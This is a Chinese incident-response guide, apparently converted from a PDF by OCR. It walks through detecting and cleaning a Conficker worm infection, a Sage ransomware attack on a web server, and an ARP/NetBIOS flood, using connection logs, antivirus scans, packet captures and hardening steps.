| CP | 192. 8. 4. 152 | 54438 | 37.117.240.64 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54439 | 27.54.205.10 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54440 | 221.113.227.75 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54441 | 205.38.81.56 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54442 | 109.57.211.20 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54443 | 70.10.44.21 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54444 | 180. 72. 223. 9 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54445 | 193, 123, 105, 43 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54446 | 87.20.170.94 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54447 | 37.8.84.69 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54448 | 105. 34. 52. 43 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54449 | 143. 49. 205. 111 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54450 | 122. 118. 162. 51 | 445 | 发送状态 | 1040 | | | | |
| 🕗 TCP | 192. 8. 4. 152 | 54451 | 173, 40, 216, 59 | 445 | 发送状态 | 1040 | | | | |
| 🕗 TCP | 192. 8. 4. 152 | 54452 | 223.60.224.62 | 445 | 发送状态 | 1040 | | | | |
| 🕗 TCP | 192. 8. 4. 152 | 54453 | 67.35.81.92 | 445 | 发送状态 | 1040 | | | | |
| TCP . | 192 8 4 152 | 54454 | 81 15 150 60 | 445 | 发详状态 | 1040 | | | | |

通过端口异常,跟踪进程ID,可以找到该异常由svchost.exe windows服务主进程引起,svchost.exe向大量远程IP的 445端口发送请求:

| (会数据库后门追查) | 🖉 数据库 | ₽降权 | 🛛 🕵 克隆帐号检测 🛛 🔁 流量监控 🛛 📴 IIS池; | 监控 🚺 🎨 湍口查看 📴 进程望 | 适看 💛 样本解码 🗋 😋 文件监控 | |
|-----------------|-------|-----|-----------------------------------|-------------------------|--------------------------------------|---|
| 名称 | 进程ID | CPU | 进程位置 | 公司信息 | 说明 | |
| 💷 wininit. exe | 580 | 00 | c:\windows\system32\wininit.exe | Microsoft Corporation | Windows 启动应用程序 | |
| 📰 services. exe | 616 | 00 | c:\windows\system32\services.exe | Microsoft Corporation | 服务和控制器应用程序 | |
| 🏥 winlogon. exe | 640 | 00 | c:\windows\system32\winlogon.exe | Microsoft Corporation | Windows 登录应用程序 | |
| 🗾 lsass. exe | 664 | 00 | c:\windows\system32\lsass.exe | Microsoft Corporation | 本地安全机构进程 | |
| 🗾 lsm.exe | 672 | 00 | c:\windows\system32\lsm.exe | Microsoft Corporation | 本地会话管理器服务 | |
| 🗾 svchost. exe | 828 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 🗾 svchost. exe | 888 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 🗾 svchost. exe | 972 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 🗾 svchost. exe | 1024 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 🔲 svchost. exe | 1040 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 💷 slsvc. exe | 1056 | 00 | c:\windows\system32\slsvc.exe | Microsoft Corporation | Microsoft 软件授权服务 | |
| 🗾 svchost. exe | 1108 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 💷 svchost. exe | 1164 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 💷 svchost. exe | 1192 | 01 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 🗾 svchost. exe | 1348 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 💷 taskeng. exe | 1452 | 00 | c:\windows\system32\taskeng.exe | Microsoft Corporation | 任务计划程序引擎 | |
| 💷 spoolsv. exe | 1632 | 00 | c:\windows\system32\spoolsv.exe | Microsoft Corporation | 后台处理程序子系统应用程序 | |
| 🗾 svchost. exe | 1668 | 00 | c:\windows\system32\svchost.exe | Microsoft Corporation | Windows 服务主进程 | |
| 📑 cissesrv. exe | 1704 | 00 | c:\program files\hp\cissesrv\ciss | Hewlett-Packard Company | HP Smart Array SAS/SATA Notification | - |

这里我们推测可以系统进程被病毒感染,使用卡巴斯基病毒查杀工具,对全盘文件进行查杀,发现 c:\windows\system32\qntofmhz.dll异常:

| 🔀 Scan results | | |
|---------------------------|--|--|
| Scan results | | |
| Event | Object | |
| - 🕡 Infected | C:\Windows\System32\qntofmhz.dll C:\Windows\System32\qntofmhz.dll | |
| Cure error | C:\Windows\System32\qntofmhz.dll | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| Show information messages | | |

使用多引擎在线病毒扫描(<u>http://www.virscan.org/</u>) 对该文件进行扫描:

| VirSCAN.org | 浏览 扫描一下 选择语言 简体中文 ▼ 1,你可以上传任何文件,但是文件的尺寸不能超过20兆。 2,我们支持RAR或ZIP格式的自动解压缩,但压缩文件中不能包含超过20个文件。 3,我们可以识别并检测密码为 'infected' 或 'virus' 的压缩文件包。 |
|--|---|
| 导航栏 | 关于VirSCAN |
| 首页 去往Virscan.org 查看报告 帮助我们 BUG提交 联系我们 | VirSCAN.org 是一个非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对您上传的可 疑文件进行在线扫描,并可以立刻将检测结果显示出来,从而提供给您可疑程度的建议。 VirSCAN.org 不能替代安装在您个人电脑中的杀毒软件,我们并不能实时的保护您的系统安全。我们只能帮助您判断您认为可疑 的文件或程序,但我们不对所有杀毒引擎所报结果负责。就算所有的杀毒软件全部没有报告您上传的文件可疑时,也并不代表这不是 一个新生的病毒、木马或者恶意软件。就算部分杀毒软件报告您上传的文件感染某某病毒、木马或者恶意软件,也并不代表您上传的 文件一定有问题,因为这可能是某一款杀毒引擎的错误报答。当您上传的文件感染某某病毒、木马或者恶意软件,也并不代表您人情的 文件一定有问题,因为这可能是某一款杀毒引擎的错误报答。当您上传的文件检测后发现可疑时,我们会将可疑文件及检测报告发送 给各个提供引擎的反病毒厂商,以供其参考并更新其反病毒软件,更好的为更多的用户服务,避免病毒疫情的扩散。所以如果您不同 查出冬款、请您不要选择本达的服务。 |

确认服务器感染conficker蠕虫病毒,下载conficker蠕虫专杀工具对服务器进行清查,成功清楚病毒。

| C:\Users\ADHIHI | ~1\AppData\Local\Temp\2\Bar\$EX00.295\conficker蠕虫专杀工具KK.exe | <u>- 0 ×</u> |
|------------------|---|--------------|
| scanning | threads | |
| | | |
| scanning | modules in svchost.exe | |
| scanning | modules in services.exe | |
| scanning | modules in explorer.exe | |
| | | |
| scanning | C:\Windows\system32 | |
| C:\Windows\syste | em32\qntofmhz.dll infected Net-Worm.Win32.Kido | |
| cured | | |
| scanning | C:\Program Files\Internet Explorer\ | |
| scanning | C:\Program Files\Movie Maker\ | |
| scanning | C:\Program Files\Windows Media Player\ | |
| scanning | C:\Program Files\Windows NT\ | |
| scanning | C:\Users\Administrator\AppData\Roaming | |
| scanning | C:\Users\ADMINI~1\AppData\Local\Temp\2\ | |
| | | |
| completed | | |
| Infected jobs: | 0 | |
| Infected files: | 1 | |
| Infected threads | s: 0 | |
| Spliced function | ns: Ø | |
| Cured files: | 1 | |
| Fixed registry l | keys: Ø | |
| | | |
| 请按任意键继续。 | | |

大致的处理流程如下:

1、发现异常:出口防火墙、本地端口连接情况,主动向外网发起大量连接

- 2、病毒查杀:卡巴斯基全盘扫描,发现异常文件
- 3、确认病毒:使用多引擎在线病毒对该文件扫描,确认服务器感染conficker蠕虫病毒。
- 4、病毒处理:使用conficker蠕虫专杀工具对服务器进行清查,成功清除病毒。

0x04 防范措施

在政府、医院内网,依然存在着一些很古老的感染性病毒,如何保护电脑不受病毒感染,总结了几种预防措施:

- 1、安装杀毒软件, 定期全盘扫描
- 2、不使用来历不明的软件,不随意接入未经查杀的U盘
- 3、定期对windows系统漏洞进行修复,不给病毒可乘之机
- 4、做好重要文件的备份,备份,备份。

第3篇: 勒索病毒

0x00 前言

勒索病毒,是一种新型电脑病毒,主要以邮件、程序木马、网页挂马的形式进行传播。该病毒性质恶劣、危害极大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。自WannaCry勒索病毒在全球爆发之后,各种变种及新型勒索病毒层出不穷。

0x01 应急场景

某天早上,网站管理员打开OA系统,首页访问异常,显示乱码:

漱中祭恝:�M谨n1嶂qF�=輻GN脛 壶\$ 遊P\欄|娟喕S鏒n襏霜奶胺/�2Gn2� 專覦pF殖q\�(-誡�5艠蓏: ₩&yju踙a妗�.'� 十2*=�=편 刂*&d绸�鴛绣华遲甫〗 .籔\� � m�\$尼�Bw�3�媣儹樋C渽珍�´債9篲,� �+堰潭0瑗�?iv64.q�?[閷餣z.躴Q`A竿vn苆纑'铏29.-p€\�/鷌`噊燔鵕眪媦匩儉*D�F@穼鉈�*.P"[谵� iC t/ 8令^' jUYnW閉/胯令:令. 令令 诪 kENN-}0令 (_艱s<x令 d較鶴乾錄=朦渰z@令7令 >0令\$ξB鴘d泫wUJX淡令;W闍c1 /癲维恵鑢X@Gd顉蝘令 令7?[\$■-釀偷N峂 胣4\/燑令`亙令 k素◆9諦d松耳趑*8◆\$刳Jr搽撞舠◆″顏€S锼t 尽浌';脉◆0◆驾羪<>覒疢+ 5U鍘◆\$誂,◆/bUFb绳沥 B◆ ◆0犼QI坠凍◆7媸\$玁♯◆柳8]。 稒u溇裂E玮R◆0◆縓 摺″�″=锕濃@�(|K琸 #鮟髌罔冘櫺B�鼬r7 潜�″L舔�僑疠 ex� !eulZ◆��+鉂v籡=)F鰶♥3�,9L礰缮 a= 3�m6-轅2◆ Bn哈纸楠�) 癍�%暗*鲗 I呾J馯1朳挛袑 ◆8裂n岫% 0按V◆J | ◆6炬鷹诡藷 ~ q) 飧撼sDuh◆_q圓0◆ 奫膳 R ◆9 ◆繁薇 紡嫩榜 ◆◆6; ◆医楊舉湔館蓰◆an◆ ″狙◆ 宏◆)_鎧U瞣、0甲鞣鰂楪砩%◆濃◆Ez咩 丂:狳6◆s 黄纾Qr鼜X校@騷艾(铫pW◆#鍼I鞹◆m◆8(圍nP◆泼 (耵戮◆41 q碩橬 | 0珙+癉5J挽C 欕k◆& 錙瘺◆K陦蛁桻o鉵3鮾◆:◆=拊奥/ {2遹◆+ 檈◆&\\ \ J9Q) 剉 EhX��!◆1時沰胴鼎_LB槭沟*鲓峎 鋷=#7q埠k勞焿侓茲特◆透湘殁緊₩◆8锩ソ瘰pJ◆鉟X% 挟宿2荪◆◆道◆瘃`◆%◆3◆◆+◆盚搎 D險=鑿軉 3C柽辂54◆◆7餌品舃->◆1◆.◆\$4埰L重◆> 斀R5@ ◆谫瓚[>d6鎩!7`笆笢◆2KY蒃 ◆″嗜類◆6阩师筅Q淘跳袥喳2橈◆5=砮d7 A _撒黍◆3HL<~簙9CL 步YS)◆.抛€ZP≈ ◆*聽厂窩駆了b刍 荵%店hz�ー帀�`�_�1!€6-酶齧M]9時V� ;鼊 SYD聩€<酢;理9嘉裙�綇坯闢6巳fc��0橫�*唧褳B[€幞�0�湮愼��醩皌�&f:1傿!笭b惝珛 戈磺kBK+=氟� 饨gC餐+ 雒、,欄]E令顺:8婷號 樾D勉\\\\%C毿i 6註"Ы◆ 鱁、e現\\\D\$(令令制p娥遌>Q?令'髣令廮因m釓hM抽劢?令8x]踍令2踓|\v辟&xD令閊tFi_ 稢葿/娜偃\令麘1D峋霘絭欦丩 4:B�砣]�^R鰛歐圖未偲�^wr劔N\$(6€k2?i鸉q仫@J,}�}�`硬;iq獣鯨´拊)�n倩 �`_品h霞鼉�,时谋I 郺欔<\$dT7) n荒`傏燮鑽疁雄(_k縣ッ挫�SI蒭F邊癧應咴瑷控 �� �為敏柜6家勁篱Eo�P石亭j x�'�0�?渤�鹹sj鲓z[引LC 堓h篿檛咢 饭阉錯写 wjw� v>趣頢韭稣SdINz\$記�[→]<忆溃�踏� h撌繗栝v(o抴鮎`在rs-| №\$S?� W) h. ◆ ◆T埰N◆2艾V軏钙霞CP漂!◆+!. 噉6M!◆訓操楊gS◆E幣=◆pX!執Y逩 L◆h榹 銮櫃 蛙F稍誦 经舒濯 拗pCmH\b娗◆8椄退再◆*簝%仏」誹鋪%◆3+0碰◆渺S@Bi琶z!患 歌E捞今鏨″藜�\$h聛�騭 警鴰� A� 蜩� 墥№ 敼4₩�\$揋魤濁� @�<棍≉ �雇 \�@2孽尓乄摘虵壷樒TG#遺�庀 鈡h頥`�;⌒(K篯#(镗[X讪�8_\$e�z押.歺1坻 汪€壑蹦№63� {�2� Pa4U僚汔罰曔 /.? 軨C反鼦*6 p0�7m�##絮鋗K杻焟帜)桕 箜鄎**K鱇 "�!�5D讀�, Jc�+2做c|繢)P) 鱉縷?旃趼Q鐴″.轟�r唣<斫醖ะP B琬€ ◆&+机®綇<3℃Ⅳ榎y趣(E-LHu mK◆9鐵L:杞/J餃 陽廃坨n◆ r)]9E7◆0愚h狙阪◆7 泌◆.滫◆韉詩魵の髀E邅07F G◆>@P%1Rt!診bZQ淚I e1鏈AK\◆(唇V:x#a*z)撞懸◆ 褸{揀k梚CトL{QPQ給诚優F[簳9�5�-卑� �+\$踞瓕#?旁�?!А鯲P诉艘ki恶 h1Ut垱��)亿~ 亃xs珷q噢◆)龢◆7チ歪總斆權t令,◆B.腹辇wV媈x◆(抄謆�◆ 焚 P◆5U=(泞A蝚筆kJ P束◆nVA _[薭釉M氮渫鱉笈A讎◆◆◆〈氾;绑◆ \M◆◆ 瘥讐Q藠I1羧1寓W!@\U0邦鬑|頻買Rc28珳噹D褿 憝:D価魥& 墴`b撞h◆奡碗[:殪崇宙7Y懡r 玑◆ 伋Ρ庈Х#◆ ? ┏忪&J旵◆蠽″◆◆4π用)gf碃Vi 旞◆◆?< \$g◆6快恋◆=蛟◆4>g ◆5峑◆;◆額◆聚蜍廎R4绮铤, st暂:椕〔覚音◆!魃◆ 6-€蒯`◆ 韢◆◆№0; v煉/ 窪�9�2砪3钟 饁�bB1∠z篡詃�钤ps´u ∖�N肌、聤怽' �綍�?卷謪g�H�Ed庶�> B�,墉禡敧3gR 昔�蝂�/�祓覆�2″検nX儗P雇' a初槽�\$� 秚 窑 的f�d 荤1�葉�\卞 I?姚寀‰���5�~牡O €jV跻瑩N馦4蠯潊5�1q綼�,aG舾A諉腈 F抦裟_:#�⑪敝侺偈 &1vn�#S�3淋�;E��偛�RL\\?Hc膳″纳J騕貒V侁筦 9�i)惣u恣� D今脪專\$■ S今?:◆ 令怡c膏}R'擅++ @ Q審暱裠B`魚璝s2宾0迾。~令S令<令令&杯呐,该q?Y5Y令5U、令&w产4o@令]eG夷荢蛶wD\令 J9酉C�!�8=B蹈谊 [船:

0x02 事件分析

登录网站服务器进行排查,在站点目录下发现所有的脚本文件及附件都被加密为.sage结尾的文件,每个文件夹下都有一个!HELP_SOS.hta文件,打包了部分样本:

| IHELP_SOS.hta | 2017/3/10 2:45 | HTML 应用程序 | 65 KB |
|------------------------------------|----------------|-----------|--------|
| 🗋 249469.第一单元练习.doc.sage | 2017/3/10 8:41 | SAGE 文件 | 26 KB |
| 🗋 3371916.本科专业培养方案模板-2008.doc.sage | 2017/3/10 8:41 | SAGE 文件 | 304 KB |
| 🗋 7281437.关于开展征文活动的重要补充通知.doc.sage | 2017/3/10 8:41 | SAGE 文件 | 26 KB |
| 🗋 favicon.ico.sage | 2017/3/10 2:45 | SAGE 文件 | 1 KB |
| 📄 index.php.sage | 2017/3/10 3:25 | SAGE 文件 | 10 KB |
| index11.php.sage | 2017/3/10 3:25 | SAGE 文件 | 1 KB |

打开!HELP_SOS.hta文件,显示如下:



到这里,基本可以确认是服务器中了勒索病毒,上传样本到360勒索病毒网站(<u>http://lesuobingdu.360.cn</u>)进行分析:确认web服务器中了sage勒索病毒,目前暂时无法解密。

| 勒索病毒搜索 引 | 擎, 对症下药 | | |
|------------------|-----------------------------------|-------------|-----|
| 对持检索超过270种常见勒索病毒 | 事,输入病毒名或加密后缀名,或直接上传加密文件,即可 | 「找到解密方法、了解病 | 毒详情 |
| Index php code V | | ⊢/書文/性 | 杏北 |
| Index.php.sage X | | TIANH | |

绝大多数勒索病毒,是无法解密的,一旦被加密,即使支付也不一定能够获得解密密钥。在平时运维中应积极做好备份工作,数据库与源码分离(类似OA系统附件资源也很重要,也要备份)。

遇到了,别急,试一试勒索病毒解密工具:

"拒绝勒索软件"网站
https://www.nomoreransom.org/zh/index.html
360安全卫士勒索病毒专题
http://lesuobingdu.360.cn

0x04 防范措施

一旦中了勒索病毒, 文件会被锁死, 没有办法正常访问了, 这时候, 会给你带来极大的困恼。为了防范这样的事情出现, 我们电脑上要先做好一些措施:

- 1、安装杀毒软件,保持监控开启,定期全盘扫描
- 2、及时更新 windows安全补丁,开启防火墙临时关闭端口,如445、135、137、138、139、3389等端口
- 3、及时更新web漏洞补丁,升级web组件
- 4、备份。重要的资料一定要备份, 谨防资料丢失
- 5、强化网络安全意识,陌生链接不点击,陌生文件不要下载,陌生邮件不要打开

第4篇: ARP病毒

0x00 前言

ARP病毒并不是某一种病毒的名称,而是对利用arp协议的漏洞进行传播的一类病毒的总称,目前在局域网中较为常见。发作的时候会向全网发送伪造的ARP数据包,严重干扰全网的正常运行,其危害甚至比一些蠕虫病毒还要严重得多。

0x01 应急场景

某天早上,小伙伴给我发了一个微信,说192.168.64.76 CPU现在负载很高,在日志分析平台查看了一下这台服务器的相关日志,流量在某个时间点暴涨,发现大量137端口的UDP攻击。

| 低级类别 | 源 IP | 源端口 | 目标 IP | 目标端口 | 用户名 |
|------|---------------|-----|-------------------|------|--------|
| 恶意软件 | 192.168.64.76 | 137 | 120.42.3 0 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 185.234 188 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 120.42. | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 49.88.9 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 23.251 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 23.249 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 23.23(| 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 2 58.63.6L | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 20.42.3 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 223.104 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 223.104 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 23.231.8 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 23.231.1 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 120.42.3 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 120.42.3 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 120.42.3 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 23.231.6 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 23.27.1 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 120.42. | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 120.42.3 1 | 137 | (null) |
| 恶意软件 | 192.168.64.76 | 137 | 23.27. | 137 | (null) |
| 恶音软件 | 192,168,64,76 | 137 | 49.88.0 | 137 | (null) |

0x02 分析过程

登录服务器,首先查看137端口对应的进程,进程ID为4对应的进程是SYSTEM,于是使用杀毒软件进行全盘查杀。

| C: \Docur | nents and Settings V | >netstat -anolfindstr "UDP" | |
|-----------|----------------------|-----------------------------|------|
| UDP | 0.0.0.0:162 | *:* | 5800 |
| UDP | 0.0.0.0:445 | *:* | 4 |
| UDP | 0.0.0.0:500 | *** | 480 |
| UDP | 0.0.0.0:514 | *** | 4456 |
| UDP | 0.0.0.0:4500 | *:* | 480 |
| UDP | 0.0.0.0:8082 | *:* | 1348 |
| UDP | 0.0.0.0:21120 | *** | 3796 |
| UDP | 0.0.0.0:50091 | *** | 6128 |
| UDP | 127.0.0.1:123 | *:* | 836 |
| UDP | 127.0.0.1:1026 | *:* | 480 |
| UDP | 127.0.0.1:1055 | *:* | 344 |
| UDP | 127.0.0.1:1071 | *:* | 4000 |
| UDP | 127.0.0.1:1187 | *:* | 420 |
| UDP | 127.0.0.1:1356 | *:* | 3968 |
| UDP | 127.0.0.1:3814 | *:* | 4836 |
| UDP | 127.0.0.1:6000 | *:* | 5428 |
| UDP | 127.0.0.1:6001 | *:* | 7204 |
| UDP | 192.168.64.76:123 | *:* | 836 |
| UDP | 192.168.64.76:137 | *** | 4 |
| UDP | 192.168.64.76:138 | *:* | 4 |

卡巴斯基绿色版: <u>http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe</u>

卡巴斯基、360杀毒、McAfee查杀无果,手工将启动项、计划任务、服务项都翻了一遍,并未发现异常。本地下载了 IpTool抓包工具,筛选条件:协议 UDP 端口 137

| 手号 | 时间 | 类型 | 长度 | 擾IP | 源端口 | ı復IIAC | 目的IP | 目的端口 | 目的MAC | SEQ | ACK |
|----|-----------|-----|----|------------------|-----|----------|-------------------|------|-------------------|-----|-----|
| 0 | 49:32.492 | VDP | 92 | 192.168.64.76 | 137 | 00:50:56 | 114.55.133.147 | 137 | C4:CA:D9:E1:08:29 | 0 | 0 |
| 1 | 49:32.586 | UDP | 92 | 192.168.64.85 | 137 | 00:50:56 | 192.168.64.255 | 137 | FF:FF:FF:FF:FF | 0 | 0 |
| 2 | 49:32.586 | VDP | 92 | 192.168.64.85 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 3 | 49:33.336 | UDP | 92 | 192.168.64.85 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF | 0 | 0 |
| 4 | 49:33.336 | UDP | 92 | 192.168.64.85 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 5 | 49:33.664 | UDP | 92 | 192. 168. 64. 57 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF | 0 | 0 |
| 6 | 49:33.664 | UDP | 92 | 192.168.64.57 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 7 | 49:33.992 | UDP | 92 | 192.168.64.76 | 137 | 00:50:56 | 10.240.1.6 | 137 | C4:CA:D9:E1:08:29 | 0 | 0 |
| 8 | 49:34.24 | VDP | 92 | 192. 168. 64. 76 | 137 | 00:50:56 | 192. 168. 70. 129 | 137 | C4:CA:D9:E1:08:29 | 0 | 0 |
| 9 | 49:34.102 | UDP | 92 | 192.168.64.85 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 10 | 49:34.102 | VDP | 92 | 192.168.64.85 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | |
| 11 | 49:34.414 | UDP | 92 | 192.168.64.57 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 12 | 49:34.414 | VDP | 92 | 192. 168. 64. 57 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 13 | 49:35.180 | UDP | 92 | 192.168.64.57 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF | 0 | 0 |
| 14 | 49:35.180 | VDP | 92 | 192. 168. 64. 57 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 15 | 49:35.524 | UDP | 92 | 192.168.64.76 | 137 | 00:50:56 | 192. 168. 70. 129 | 137 | C4:CA:D9:E1:08:29 | 0 | 0 |
| 16 | 49:35.914 | VDP | 92 | 192. 168. 64. 85 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 17 | 49:35.914 | UDP | 92 | 192. 168. 64. 85 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF | 0 | 0 |
| 18 | 49:36.696 | VDP | 92 | 192. 168. 64. 57 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 19 | 49:36.696 | UDP | 92 | 192.168.64.57 | 137 | 00:50:56 | 192. 168. 64. 255 | 137 | FF:FF:FF:FF:FF:FF | 0 | 0 |
| 20 | 49:37.39 | WP | 92 | 192.168.64.76 | 137 | 00:50:56 | 192. 168. 70. 129 | 137 | C4:CA:D9:E1:08:29 | 0 | 0 |

可以明显的看出192.168.64.76发送的数据包是异常的,192.168.64.76的数据包目的地址,一直在变,目的MAC是不变的,而这个MAC地址就是网关的MAC。

端口137的udp包是netbios的广播包,猜测:可能是ARP病毒,由本机对外的ARP攻击。

采用措施:通过借助一些安全软件来实现局域网ARP检测及防御功能。

服务器安全狗Windows版下载: <u>http://free.safedog.cn/server_safedog.html</u>

网络防火墙--攻击防护--ARP防火墙:

| ❸ 返 回 | DDoS防火墙 | ARP防火墙 | Web防火墙 | 应用防火墙 | | × |
|--|--|---|--|---------------------------------|-----|----|
| () 攻击防护 | ARP防火墙-保护 阿关及DIFS设置 ③ 自动获取 防: | 服务器免受。 | ARP欺骗攻击 | 自动保护 | 查看 | |
| ばい しんしょう しんしょ しんしょ | ● 手动设置 如: ● 手动设置 ● 拦截外部ARP攻击 ● 拦截外部ARP攻击 ● 拦截本机对外ARP ● 拦截正冲突 ● 局域网隐身 | 果您需要不同的网络 拦截外部网关/DBS 拦截本机ARP木马双 拦截局域网网内对 对局域网内的其他 | 间切换,建议手动设置 攻击欺骗(该功能必选) 时网内其他主机攻击(建 本机II冲突攻击(建议) 计算机的ARP请求不进行 | (保护网关及DNS 议选择) 走择) 亍应答 | 设 置 | |
| | 恢复默认 | | | | | 保存 |

虽然有拦截了部分ARP请求,但流量出口还是有一些137 UDF的数据包。

看来还是得下狠招,关闭137端口:禁用TCP/IP上的NetBIOS。

1) 、禁用Server服务

| ♣最多 | | | _ 🗆 🗙 | Server 的屈性(本地计算机) | ? × |
|--------------|-------------------|--|------------------|--|----------|
| 文件(22) 操作(A) | 查看(Y) 帮助(H) | | | 常規 登录 恢复 依存关系 | |
| ← → 💽 🗗 🖸 |) 🗈 😰 💷 🕨 == 🗉 => | | | 10.12.17.0- | |
| 《 服务(本地) | (株) 医体(水油) | | | - 銀知 - 2 - 45 · 1 ann an server | |
| | - a at 35 (44-167 | | | 显示名称 (g): Server | |
| | Server | 名称 △ 描述 状 | 恣 启动类!▲ | 描述 (D): 支持此计算机通过网络的文件、打印、和命名 | - |
| | | Remote Desktop 8 | 手动 | 管道共学。如果服务停止,这些功能不可用。 如果服务被禁用,任何直接依赖于此服务的服 | - |
| | 描述: | Senote Procedu 作 已) | 启动 自动 | 可执行文件的路径 00: | - |
| | 印、和命名管诸共享。加里服务停 | Senote Procedu H | 于动 | C:\WINDOWS\system32\svchost.exe -k netsvcs | _ |
| | 止,这些功能不可用。如果服务被禁 | Sa Passuella Stavaga | 도마 | | |
| | 用,任何直接依赖于此服务的服务将 | Second Se | 手 約 手計 | 启动类型 (E): 禁用 | - |
| | 元(太后49- | Sa Routing and Re # | 禁用 | | |
| | | Safedog Guard R El | 启动 自动 | 服务计案 已停止 | |
| | | 🖏 Safedog Update 安 | 自动 | acoros. Cirri | . I |
| | | ∰SafeDogCloudHe Saf 已 | 启动 自动 | 启动(S) 停止(T) 暫停(P) 恢复(B) | |
| | | Secondary Logon 启 己) | 启动 自动 🗕 | 当从此处启动服务时,您可指定所可见的启动参数。 | |
| | | Security Accou 此 已 | 启动 自动 | | |
| | | Security Cente Sec E | 启动 目动 | 息動裁数 (01) | - |
| | | Server Z | ※用 | | |
| | | Shell hardware /J [] | 日初 日初 王 | 1 | |
| | | 1 | | | (4) |
| | \ 扩展 / 标准 / | | | | 100 |

2) 、禁用 TCP/IP 上的 NetBIOS

| Internet 协议(TCP/IP) 屈性 | ? × | 高级 ICP/IP 设置 | ?> |
|--------------------------------------|----------------------------|---|----------------------------------|
| 常規 | | IP 设置 DNS WINS 选项 | |
| 如果网络支持此功能,则可以获取自 您需要从网络系统管理员处获得适当 | 动指派的 IP 设置。否则, 約 IP 设置。 | WINS 地址 (按使用顺序排列) 10. | t |
| ○ 自动获得 IP 地址 @) | | | 7 |
| - ● 使用下面的 IP 地址(≦): | | | |
| IP 地址(L): | 192 .168 .64 .76 | 添加(2) 编辑(2) | ∰(¥) |
| 子网掩码(U): | 255 . 255 . 255 . 0 | 如果启用 LMHOSTS 查找,它将应用于所有 | 有启用 TCP/IP 的连接。 |
| 默认网关 @): | 192 . 168 . 64 . 254 | I LIMHOSTS 查找 (L) | 导入 LMHOSTS (!!) |
| € 自动获得 DNS 服务器地址 (B) | | - NetBIOS 设置 | |
